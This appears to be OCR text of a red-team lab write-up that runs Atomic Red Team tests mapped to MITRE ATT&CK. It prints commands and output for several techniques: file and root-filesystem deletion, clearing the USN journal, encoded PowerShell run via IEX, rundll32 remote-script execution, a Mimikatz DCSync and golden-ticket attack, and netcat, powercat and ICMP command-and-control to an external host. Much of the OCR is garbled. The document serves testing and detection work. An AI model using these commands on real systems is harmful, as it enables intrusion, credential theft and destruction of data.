kidding.txt
;/tmp/illuminati-is-real

¥ Atomic Test #2 - Delete an entire folder - Linux/macOS

o Recursively delete the temporary directory and all files contained within it

rm -rf #{folder_to_delete}

ROXTerm

t View Search Preferences Tabs Help
ntixl:/
"lolz" /tmp/illuminati-is-real/just_kidding.txt
ntix1:/tmp/illuminati-
$ rm -rf /tmp/illuminati-is-r
ant antix tmp/illuminati-is-real

¥ Atomic Test #3 - Overwrite and delete a file with shred

* Use the shred command to overwrite the temporary file and then delete it

shred -u #{file_to_shred}

APT29 - MITRE ATT&CK 36



i PurpleSynapz”

Tue 30 jun

File Edit View 5Search Preferences Tabs Help

tmp/illuminati-is-real
> /tmp/just_kidding. txt
:/tmp/illuminati-is-real

hred -u ju t_kidding.
ntix1:/tmp
$ 11
total @
ROXTerm
File Edit View Search Preferences Tabs Help
antix@antixl:~
hred --help
shred [OPTION]... FILE...
ite the specified FILE(s) repeatedly, in order to make it harder
- even very expensive hardware probing to recover the data.

IT FILE is -, shred standard output.

Mandatory arguments to long options are mandatory for short options too.
T change i ns to allow writing if ne ry
-n, --iteratio overwrite N times instead of the default (3)
--random-source=FILE get random bytes from FILE
-s. --size=N shred this manv bvtes (suffixes like K. M. G accepted)
-u deallocate and remove file after overwriting
--remove[=HOW] 1like -u but give control on HOW to delete; See below
-v, --verbose show progress

¥ Atomic Test #4 - Delete a single file - Windows cmd

« Delete a single file from the temporary directory using cmd.exe.

del /f #{file_to_delete}

Shara Wiew

| Bl Chwindows\system32\omid.exe
» hackerl » AppData > Local » Temp >

hame

Low
wware-hackert
AdobeARMlog
ArmUiLing
BITPCF1.tmp
chrome installerlog
wetFCE2 tmp

wimsetuplog
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¥ Atomic Test #5 - Delete an entire folder - Windows cmd

o Recursively delete a folder in the temporary directory using cmd.exe.

rmdir /s /q #{folder_to_delete}

share view CA\Windows\system32\cmd.exe
. > hackerl » AppData > Local > Temp » C:\User € \AppData\Local\Temp>dir
~ Volume in ive C has no label.
Name Volume 1 Number CB
255
Low Directory of C: \hacke AppData\Local\Temp
vmware-hacker’
ads
AdobeARM.log
nts ArmULini
BIT7TCF1.tmp
chrome_installer.log y <DIR>
3 wct7CE2.tmp 06/27 : v <DIR>
wmsetup.log C :

ppData\Local\Tempsrmdir "you_can't_delete_me"

pData\Local\Temp>,

¥ Atomic Test #6 - Delete a single file - Windows PowerShell

« Delete a single file from the temporary directory using Powershell.

Remove-Item -path #{file_to_delete}
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E¥ Windows PowerShell

e
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

AppData\Local\Temp\
a\Local\Temp> 1s

Directory: C:\Usersh\hackerl\AppData“\Local\Temp

LastWriteTime Length Name

PM

PM vmware-hackerl

AM AdobeARM. log

46 AM 79 ArmUI.ini

9 PM 714 chrome installer.loa

PM 0 delete_me_powershell. txt
PM 0 wct/CEZ. tmp

PM wmsetup. log

=
(RN R R N o g ]

6/
6
6
6
6
6
6
6

2
%

ocal\Temp> Remove-Item Mdelete_me_powershell. txt
\Local\Temp> dir

Directory: C:\Usersh\hackerl\AppData“Local\Temp

LastWriteTime Length Name

PM
PM vmware-hackerl
c AM AdobeARM. Tog
16 AM 79 ArmUI.ini
9 PM 714 chrome_installer. log
PM wct/7CE2. tmp
PM wmsetup. log

Usersh\hacker1\AppData‘\Local\Temp>

¥ Atomic Test #7 - Delete an entire folder - Windows PowerShell

« Recursively delete a folder in the temporary directory using Powershell.

Remove-Item -Path #{folder_to_delete} -Recurse
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¥ windows PowerShell
PS C:\Users\hackerl\AppData\Local\Temp>

Directory: C:\Users\hackerl\AppData\Local\Temp
ode LastWriteTime Name

PM

PM you-shall-not-pass
AM AdobeARM. Tog

AM 79 ArmUI.ini

PM 714 chrome_installer.log
PM 0 wct7CE2. tmp

PM wmsetup. log

emp> Remove-Item .\you-shall-not-pass

emp> s

vmware-hackerl
AdobeARM. Tog
257928 ArmUI.qini
1714 chrome_installer.log
0 wct/CE2. tmp
685 wmsetup. log

Local\Temp>

¥ Atomic Test #8 - Delete Filesystem - Linux

« This test deletes the entire root filesystem of a Linux system.

ROXTerm

Executed successfully

APT29 - MITRE ATT&CK 40



i PurpleSynapz”

System just crashed

T1551 - Indicator Removal on Host

e https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1551/T1551.md

« Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as
quarantined malware.

¥ Atomic Test #1 - FSULtil

e The USN Journal (Update Sequence Number Journal), or Change Journal, is a feature of the Windows NT file
system (NTFS) which maintains a record of changes made to the volume.

« The USN change journal provides a persistent log of all changes made to files on the volume, one for each volume
on the computer.

fsutil usn deletejournal /D C:

Administrator: Command Prompt

T1027 - Obfuscated Files or Information
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https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1027/T1027.md

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or
otherwise obfuscating its contents on the system or in transit.

¥ Atomic Test #1 - Decode base64 Data into Script
« Creates a base64-encoded data file and decodes it into an executable shell script

« Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that stdouts echo Hello
from the Atomic Red Team.

sh -c "echo ZWNobyBIZWxsbyBmcm9tIHR0ZSBBdGO9taWMgUmVKIFR1YWO= > /tmp/encoded.dat"
cat /tmp/encoded.dat | base64 -d > /tmp/art.sh

chmod +x /tmp/art.sh

/tmp/art.sh

¥ Atomic Test #2 - Execute base64-encoded PowerShell

« Creates base64-encoded PowerShell code and executes it. This is used by humerous adversaries and malicious
tools.

« Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey,
Atomic!"

$0riginalCommand = 'Write-Host "Hey, Batché6!"'

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($0riginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

powershell.exe -EncodedCommand $EncodedCommand
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E¥ Windows PowerShell ISE

File Edit View Tocls Debug Add-ons Help
= W& 0 x| 9 > > B | » 8| B0 & e,

| Execute baseb4-encoded PowerShell.pst X

OriginalCommand '"Write-Host "Hey, Batche!"'
3 System.Text.Encoding] : :Unicode.GetBytes ($0riginalCommand)

6B
and Convert]::ToBase645tring($Bytes)

"
ytes
1codedC

$EncodedCommand :
powershell.exe -EncodedCommand $EncodedCommand

LAy A sy

[V R SR S

PS C:\Users\hackerl> C:\Users\hackerl\Documents\Execute base64-encoded PowerShell.psl
VwBYAGKAdAB 1ACOASABVAHMAJAAGACTASAB 1AHKAL AAGAETAYQBOAGMARAA2ACEAT gA=

Hey, Batch6!
Hey, Batch6!

PS C:\Users\hackerl>

¥ Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry
« Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used

by numerous adversaries and malicious tools.
« Upon successful execution, powershell will execute encoded command and read/write from the registry.

$0riginalCommand = 'Write-Host "Hey, Batch6!"'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($0riginalCommand)

$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path HKCU:Software\Microsoft\Windows\CurrentVersion -Name Debug -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:Software\Microsoft\Windows

3 t /

e Edit View Favorites Hep

ComputerHEEY_CURRENT_USER Software! MicrosaftyWindows  CurrentVersion

» Currentiiersion.  » || Name Type Data
Aopleozdesst || o efuty REG 52 (value gt set) /

| - -“:‘::‘:‘ ah| Debug REG_SZ VWBYAGKAGABIACOASABVAHMAA AR QACIASARIA. . ]
B winciows Powershell 1SE
Fibe  Eddt  View Tocks Debug Add-ons Help

w8 | Boo| s,

H & a » =

ExBCUTE basesd-encoded Powershell,psl | Execute basedd-encoded PowerShell from Windows Registry.ps1 X

Hey, Batchel™' -
unicode. GetBytes{Ioring Conmand)
§ 1

ToBasetdString (FEvies)

_value SEncodes 4 )
icrosof twindows \Currentversion Debug).Debugl)

ring{{gp HK

frwaresmic
JEncoding]:u

-Path

Set-ITenProperty -Force
IEX

powershell.exe -Command "

sded PowerShell from Windows Registry.psl

"2 \isershhackerl>

¥ Atomic Test #4 - Execution from Compressed File
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« Mimic execution of compressed executable. When successfully executed, calculator.exe will open.

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip"
OutFile "$env:temp\T1027.zip"
Expand-Archive -path "$env:temp\T1027.zip" -DestinationPath "$env:temp\temp_T1027.zip\"

%temp%\temp_T1027.zip\T1027.exe

rved.

Calculator

STANDARD

T1218.011 - Rundli32

o https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.011/T1218.011.md

o Adversaries may abuse rundll32.exe to proxy execution of malicious code.

¢ Rundll32.exe is commonly associated with executing DLL payloads.

e Rundll32 can also be used to execute scripts such as JavaScript.

¥ Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject
« Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened.
rundl132.exe javascript:"\..\mshtml, RunHTMLApplication ";document.write();

GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/
src/7T1218.011.sct").Exec();
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Untitled - Notepad = O X

File Edit Format View Help

Automatically opened }

notepad.exe

AccesRuloM..  Policy.. Duoscription

o 4=

3
3 Accept
3 hittps Traffic Accepted from 192,168 to 151.101.0.133
L4
s o= had Ruks  Session
$
L & GW-SD D Accapt
= %) Today, 1:40:21 PM aw-sD
2
Oa Appiication Contral Standard
b
- O Access icy Date 26 Jun 20, 1:29:25 PM
s D Session Layer Mame Metwark
l Arcpss Rula Nama aanlap fule
' Arcess Rule Number
3 BaGitHut
Buskess / Econamy oS
URLs = Busimosz / Bconomy, Low Risk, Clow... £ e o] Mgriit Heck Baint i
mare
c o Q e Applcation Risk Law =
Found O results [1.2 sec. Applcation Deso GitHub is 2 wob.based hosting sorv.. B
i I ela84b0a-cate-0000-5efa-F26d000..,
Traffi b
Sowee @ WINTD {192.160.75.13) Frat v
Source Zone Internal ]

¥ Atomic Test #2 - Rundll32 execute VBscript command

« Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique

documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon
execution calc.exe will be launched

rundl132 vbscript:"\..\mshtml, RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("calc.exe"),0)
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script: ™. . \mshitml, RunHTMLADT

mshtml, RunHTMLApplication
Calculator = ] =

= STANDARD /

% v X Vie

¥ Atomic Test #4 - Rundll32 ieadvpack.dll Execution
o Launch an executable by calling the RegisterOCX function.

o https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml|/OSLibraries/leadvpack.ymi#L 21

rundl132.exe ieadvpack.dll,RegisterOCX calc.exe

ers\hackerl>rundl132 ieadv .d11l, RegisterOCX "cmd.exe /c calc.exe"
Calculator

sers\hackerl>

= STANDARD

¥ Atomic Test #5 - Rundll32 syssetup.dll Execution

« Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation
failed" will be opened
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o Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml

rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 .\C:\Users\hacker1l
\Desktop\mitre\atomic-red-team-master\atomics\T1218.011\src\T1218.011 DefaultInstall.inf

tInstallAction DefaultInstall 128 .\C:\ \hackerl) ctop\mitre! mic-red
P11 DefaultInstall.inf

8 Installation failed.

¥ Atomic Test #6 - Rundll32 setupapi.dll Execution

« Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying “installation
failed" will be opened

o Reference: https://github.com/L OLBAS-Project/LOLBAS/blob/master/yml|/OSLibraries/Setupapi.yml

rundl132.exe setupapi.dll,InstallHinfSection DefaultInstall 128 .\C:\Users\hackeri\Desktop\mitre\atomic-red-team-master\atomics\

\mshtml,RunHT
team/

setupapi.dll,InstallHinfSection DefaultInstall 128
_DefaultInstall.inf

8 Installation failed.

Lateral Movement

T1550.003 - Pass the Ticket
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o https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1550.003/T1550.003.md

» Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing
normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets
without having access to an account's password.

¥ Atomic Test #1 - Mimikatz Kerberos Ticket Attack

« Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM
hash, which enables generation of TGTs for any account in Active Directory.

« First we have to get access to an account in the domain.
« Either bypass UAC or get privilege access so that we can run Mimikatz as Administrator.

o the user nhacker2 does not belong to any Admin accounts

PS C:\Users\hacker2> whecami /groups

GROUP INFORMATION

Well-known Mandatory . Enabled default, Enabled
BUILTIN\Users Alias Mandatory , Enabled default, Enabled
NT AUTHORITYA\INTERACTIVE Well-known Mandatory . Enabled default, Enabled
CONSOLE LOGON Well-known Mandatory . Enabled default, Enabled
NT AUTHORITY\Authenticated Users Well-known Mandatory , Enabled default, Enabled
NT AUTHORITY\This Organization Well-known Mandatory , Enabled default, Enabled
LOCAL Well-known Mandatory . Enabled default, Enabled

Unknown SID type Mandatory , Enabled default, Enabled
Mandatory Label\Medium Mandatory Level Label 192 Mandatory , Enabled default, Enabled
P$ C:\Users\hacker2>

AWindows\system32\cmd.exe

C:\Users\hacker2>pushd \\internship.com\c$
Access is denied.

C:\Users\hackerz>_

* We need 3 details to create a Golden Ticket

Domain - INTERNSHIP.COM
Domain SID - S-1-5-21-417159160-9406959-2078468059
Krbtgt hash from DC - 8b7cd87316d2482fbae9db538bd78557

* We can get the Domain name and SID of the Domain with the following command
C:\Users\hacker2>whoami fuser
USER INFORMATION

Domain SID

SID

internship\hacker2 §-1-5-21-417159160-9406959-2078468059-1110
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+ We can get the account NTLM hash using Mimikatz

mimikatz # lsadump::dcsync /domain:internship.com /user:krbtgt
[DC] ‘internship.com’ will be the domain

[DC] "BatchéDomain.internship.com’ will be the DC server
[DC] "krbtgt’ will be the user account to sync Object from DC

Object RDN : krbtgt

*x SAM ACCOUNT sex

SAM Username : krbtgt

Account Type : 30000000 ( USER_OBJECT )

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :

Password last change : 6/26/2020 6:52:52 AM

Object Security ID 1 $-1-5-21-417159160-9406959-2078468059-502

Object Relative ID : 502
krbtgt account NTLM
Credentials: Hash
Hash NTLHM: 8bTcd87316d2482fbae9db538bd78557

ntlm- 0: 8brcd87316d2482Fbaeddb538bd 78557
Im - 0: er4f033712af18c527fOF1cT6e8eaftd3

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys
Default Salt : INTERNSHIP.COMkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : c8cbcbicS51ce0IShb3Tdef381be532c8618d051 72855y
b976afacd23aldd18
aes128_hmac (4096) : Taas813983al7fT7fabbl0Tb616f505ee
des_cbc_mdS (4096) : ab89fUSITFTFSTT3

* Primary:Kerberos x
Default Salt : INTERNSHIP.COMkrbtgt
Credentials
des_cbc_mdS : ab89f4S1TFTFSTT3

* Packages x
Kerberos-Newer-Keys

o With all the details we can use module to generate a Golden Ticket
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[N S ——————————— . 8T

mimikatz # kerberos::golden /domain:internship.com /sid:$-1-5-21-417159160-9406959-2078468059 /rci:8bhTcdls
b538bd 78557 /user:TrustMeIamAdminAgain

: TrustMeIamAdminAgain

: internship.com (INTERNSHIP)

: 5-1-5-21-417159160-9406959-2078468059

: 500

: %513 512 520 518 519

: 8bTcd87316d2482fbae9db538bdT8557 - rci_hmac_nt

: 6/30/2020 6:03:13 PH ; 6/28/2030 6:03:13 PH ; 6/28/2030 6:03:13 PH
: ticket.kirbi

PAC generated Golden Ticket is generated
PAC signed

EncTicketPart generated

m

EncTicketPart encrypted
KrbCred generated

Final Ticket Saved to file !
We use the ticket
mimikatz # kerberos::ptt ticket.kirbi

* File: "ticket.kirbi': OK

mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD’ to ‘KiwiAndCHMD® @ 0OOO0BOEBYSFESCTS

Microsoft Windows [Uersion 6.1.7601]
Copyright (e¢) 2009 Microsoft Corporation. All rights reserved.

C:\Users\hacker2\Desktop\mimikatz_trunk\x84>pushd \\interpship.com\c$

We can successfully access

. the DC Drive
is 0:0x815b5

(3)

TrustMeIamAdminAgain @ internship.com
Server: krbtgt/INTERMSHIP.COHM @ INTERNSHIP.COM
KerbTicket Encryption Type: AES$-256-CTS-HMAC-SHA1-96
Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent n
ame_cahonhicalize
Start Time: 6/30/2020 18:04:50 (local)
End Time: T/1/2020 4:04:50 (local)
Renew Time: 7/7/2020 18:04:50 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96

Client: TrustMeIamAdminAgain @ internship.com

Server: krbtgt/internship.com @ internship.com

KerbTicket Encryption Type: RSADSI RCY4-HMAC(NT)

Ticket Flans Ax4AefAAAA _-> forwardahle renewable initial pre_authent
Start Time: 6/30/2020 18:03:13 (local)

End Time: ©6,/28/2030 18:03:13 (local)
Renew Time: 6/28/2030 18:03:13 (local) ..
Session Key Type: RSADSI RCH-HMAC(NT) 10 Years of validity

« Only way to make this key invalid is to change the krbtgt account password.
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Drgsnize =

Fawontes
W Dasktop

8 Dowrioas

minmidnysys

& mimikatr
& Fecent Places

J Libraries

& mimikatz 22.0 ¥4 [oe.ea)

z # [kerberos

ticket Eirni’

'KiwifAndCMD" @

1w1AndCMD

'EawiAndCHD

We can get ntds.dit file

e ntds.dit file is a database that stores Active Directory data, including information about user objects, groups,
and group membership. It includes the password hashes for all users in the domain

Command and Control

T1095 - Non-Application Layer Protocol

e https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1095/T1095.md

» Adversaries may use a non-application layer protocol for communication between host and C2 server or among
infected hosts within a network.

* Some of the protocols include ICMP, UDP, SOCKS and SOL. These are standard Internet Protocols that are
implemented in all IP-compatible devices. Unlike TCP or UDP, these are not strictly monitered, so attackers use this as
advantage.

¥ Atomic Test #1 - ICMP C2

This will attempt to start C2 Session Using ICMP. For information on how to set up the listener refer to the following
blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/

« On attacker machine, we start the listener
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Cloned the repo

R

started listening

+ On windows side, we will execute the payload

E¥ Windows PowerShell

\Users\hackerl> IEX (New-Object System.Net.WwebClient).Downloadstring T
)

PS C:\Users\hackerl> Invoke-PowerShellIcmp -IPAc -5 105.30.40.100 2
Downloaded the payload and executed
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Accept

echo-request Traffic Accepted from 192.168.75.13 to 105.30.40.100

Details Matched Rules

Product Family

Type

Application / Site
Application Name
Primary Category
Additional Categories
Application Risk

Application Description

Traffic

Session

O Access

e Session

IEEICMF' Protocol

Network Protocols
Low Risk, Network Protocols
Low

The Internet Control Message Proto...

more

M~

Source

Source Zone

Destination

@ WIN10 (192.168.75.13)
Internal

= Kali Server (105.30.40.100)

Destination Zone External
Service echo-request (ICMP)
Interface 4 eth0
Connection Direction Outgoing
¥ Atomic Test #2 - Netcat C2

Policy Date
Layer Name
Access Rule Name

Access Rule Number

Actions

Report Log

More
Id

|d Generated By Indexer
First

Sequencenum

HIl Key

Application ID
Application Signature ID
Last Update Time

Db Tag

Type

’ = apglicatian Tosis
BN o - Mmage
P i + hacker1 » ApaDiata » iocal + Tema » T1085 » nemap-780
EF windows Powershell I5E
o Curci arcess 3 |-Bl= Edit \iew Took Debug Add-ons: Help
icerses
= Dasitop d o
nselib I u b Ll ) n
& Downloacs
sorips Meteat Capst X
Docurents 3rd-party-Soerses b 1 New-I
& Pictures J w ex-nundlecn "
hacker? of CHANGELDS
AppData ' COPYING
et ‘ flibeay32 5
mite * Mgl ”
& Music i
_— =l nattbat
B NI pry
o CreDrive WDIFF_README
= s 5 e
#| nmap o
o Mostwork #&! nmap_performancereg

R
Tis13
-OutFile "Szippath

wersionninztall HE_ Displaysiame

[ PurpleSynapz

~ v kO

28 Jun 20, 1:29:25 PM

Network

Cleanup rule

1

s

Report Log to Check Point

s

c0a84b0a-cal16-0000-5efh-4fb3000...
more

false

false

2
6574501360961509414
60526220

60526220:1
2020-06-30T14:49:17Z

{FO2BC505-AE17-5C4C-94CF-92D73...

« Start C2 Session Using Ncat To start the listener on a Linux device, type the following: nc -I -p

thyanag, z1p"

» Here attacker machine acts as a server and starts listening on a specific port
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e Windows will act as a client and connect to the server

cmd /c Users\hacker1\AppData\Local\Temp\T1095\nmap-7.80\ncat.exe 105.30.40.100 4466
whoami

his is a client!
ello from server .
Can send and receive messages

* We can now send messages between the two machines

Policy.. Description

[
4 &
+* g
tTt e
LN
42 &
+ =

(=]

=1

-

o )

* Checkpoint has detected the connection
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! Policy Management
]
N Threat Profile
4
Add Exception
4
k.

Protection Details
Severity

Confidence Level
Attack Name

Attack Information

Performance Impact
Protection Name

Protection Type
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Standmrd
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t Preventior Policy D... Today, 1:52:26 PM
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Content Protection Violation

Microsoft Windows Win32 Shellcod...

more
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Sanaco TCR 8466 (TCR/4465)

Saurce Port 43888

0BLVOE

& WIN1D (192.168.75.13)

B dall Server (105.30.40.100)

] eliaB4kia-0100.00c0-5efb-S6i 1000

More

|d Generated By Indexer
First

Sequencenum
Description Url

Log ID

Last Update Time

Db Tag

c0a84b0a-0100-00c0-5efb-56f1000...
more

false

false

1
WIN32_SHELLCODE_help.html
2

2020-06-30T15:15:57Z

{FO2BC505-AE17-5C4C-94CF-92D73...

maore

—E‘Iﬁﬂ_

¥ Atomic Test #3 - Powercat C2

« Start C2 Session Using Powercat To start the listener on a Linux device, type the following: nc -I -p
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o Started listening on Kali

N Windows PowerShell

PS5 _C:\> powercat 105.30.40.100
Hello again from Kali
Hi from Windows

« Using powercat we can communicate just like netcat

Tools

Mimikatz Tool
Can be used for following attacks and more:
» Pass-the-Hash
o Pass-the-Ticket
e Over-Pass the Hash (Pass the Key)
o Kerberos Golden Ticket
o Kerberos Silver Ticket

* Pass-the-Cache

standard Standard module [Basic commands (does not require module name)]

commands to enumerate credentials...]
ge m
s module
ce module

n module
ential module

y API or RAW access) [Data Protection application programming interface]

ent Value module
entifiers module
1fig module

BloodHound

« BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory
environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be
impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both
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blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active
Directory environment.

* BloodHound is a data analysis tool and needs data to be useful. The officially supported data collection tool for
BloodHound is called SharpHound.

+ BipocHound ‘ - =4 x
= Swttyping to search for @ node A KT o
Database info Mode hio Quarics r
Impert Gragh &
Database Info
DB Address balt108.30.40.1 007687 ]
DB User necd)
Users
Groups
Sassions

4 e
Computers 2
= =
B i
484
516

ACLs
Relationships

Redresh DR Sats

Warrm U

ARaw Quergs }

AutoRuns

« Shows us what programs are configured to run during system bootup or login

Autoruns for Windows - Windows Sysinternals

Published: June 24, 2020 Download Autoruns and Autorunsc (2.5 MB) Run now from Sysinternals Live.
This utility, which has the most comprehensive knowledge of auto-starting locations of any startup monitor,
shows you what programs are configured to run during system bootup or login, and when you start various

&7 https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

ProcessExplorer

e Process Explorer shows us information about which handles and DLLs processes have opened or loaded.

Process Explorer - Windows Sysinternals

Published: April 28, 2020 Download Process Explorer (1.9 MB) Run now from Sysinternals Live. Ever
wondered which program has a particular file or directory open? Now you can find out. Process Explorer
shows you information about which handles and DLLs processes have opened or loaded. The Process

@7 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
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